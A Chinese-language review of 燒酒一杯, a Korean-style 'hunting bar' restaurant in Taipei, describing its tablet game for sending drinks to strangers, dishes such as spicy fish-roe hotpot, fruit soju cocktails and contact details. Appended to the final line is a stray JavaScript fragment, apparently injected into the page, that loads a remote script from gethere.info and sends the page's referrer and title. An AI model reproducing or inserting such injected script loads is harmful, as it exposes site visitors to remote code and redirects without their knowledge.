它是餐廳？酒吧？還是遊樂場？實在很難定義，但絕對是一個好吃、好玩，而且可以讓小資的你，覺得物超所值的「招待所」。
「燒酒一杯」從店名上來看，一眼就能看出它「韓系」的身份識別！推門一探，才驚覺它竟然將韓國江南、弘大一帶最潮的「Ｈｕｎｔｉｎｇ Ｂａｒ」的概念，帶回台北。正對大門的一整片未經粉刷的磚牆、粗獷的鐵絲網所形成的佈告欄，開啟了進場前的遊戲規則，就讓我們從這裡尋找豐富的驚奇。
在台灣年輕一族七成以上有心創業，而餐飲則是創業首選，在諸多成功方程式當中，創意的市場區隔，在這裡充分體現，更何況還有一位美麗的「老闆娘」Ｄａｉｓｙ！這位七年級末段班的女生，曾經是各企業主的私人韓文翻譯，經常台韓兩地奔忙，留在台灣，開啟了「燒酒一杯」的序頁。
在還沒有開啟你舌尖上的味蕾之前，桌上的平板電腦就豐富有趣的讓你愛不釋手，獨家開發的手遊，讓「吃飯不只是吃飯，而是一種疏離人際的解放，因為，在迷離的氛圍中，透過店家「Ｈｕｎｔｉｎｇ」的程式設計，你可以為鄰桌陌生的異性朋友，點杯甜而不膩的調酒，也可以是一份美味的餐點，拉近距離就是那麼自然不覺讓人尷尬。
至於在菜單上的特色，又將帶你進入另一個「魔幻境界」！在台北，大部份的韓式餐廳都以烤肉，或辣炒類等正統的韓食為主。但是，在這裡，可沒那麼無聊，它要讓你感受不一樣的韓式微醺。不只保留一些正統口味，也融合創意改良，餐點不僅料多實在，更多了獨特性，絕對讓你從眼裡、嘴裡，體會主人將你奉為上賓的那份誠意。
介紹幾道人氣菜色，就得讓我提醒你，要「吃相好看」得要自我把持了！「韓式辣魚卵鍋」這道台灣人較不熟悉的鍋品，煮熟的魚卵那神奇的口感，像在你舌尖奔放著跳著街舞，此起彼落的跳躍，將是一份屬於你在「燒酒一杯」的特殊記憶。
「奶奶的菜包肉」也是一道必點料理！燉煮過的五花肉，在口裡融化，配上特製的醬料，跟甜甜辣辣的蘿葡泡菜一起入口，顛覆了你對韓式料理的想像，透著「韓式台灣味」，只有在這裡才得以追尋。
由於每一道菜都是來自韓國的主廚，參酌台灣人口味加以新創改良，店家考慮到可能造成你點餐的「猶豫、徬徨」，於是貼心的奉上「TOP.10 MENU」，照著推薦指引，保證零失誤！
要進入這個神奇有趣的店，門票平易近人的讓人咋舌，只要一杯飲料就能一窺堂奧！超級推薦冰沁心扉的少女心噴發的西瓜和鳳梨燒酒，１００％霸氣西瓜與鳳梨整顆變身水果真露調酒，讓我不得不在此做個政令宣導，「喝酒不開車」！因為，它好「醉」好喝得讓你不只一杯！現在你知道這店名「燒酒一杯」只是為了卸下你的心防，因為你會一杯接一杯！
店家資訊
立即訂位：０２－８７８７３９１８
供餐時間：１７３０～０１００
地址：台北市信義區基隆路一段127號一樓
何啟聖誠摯叮嚀：喝酒不開車、未成年請勿飲酒s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;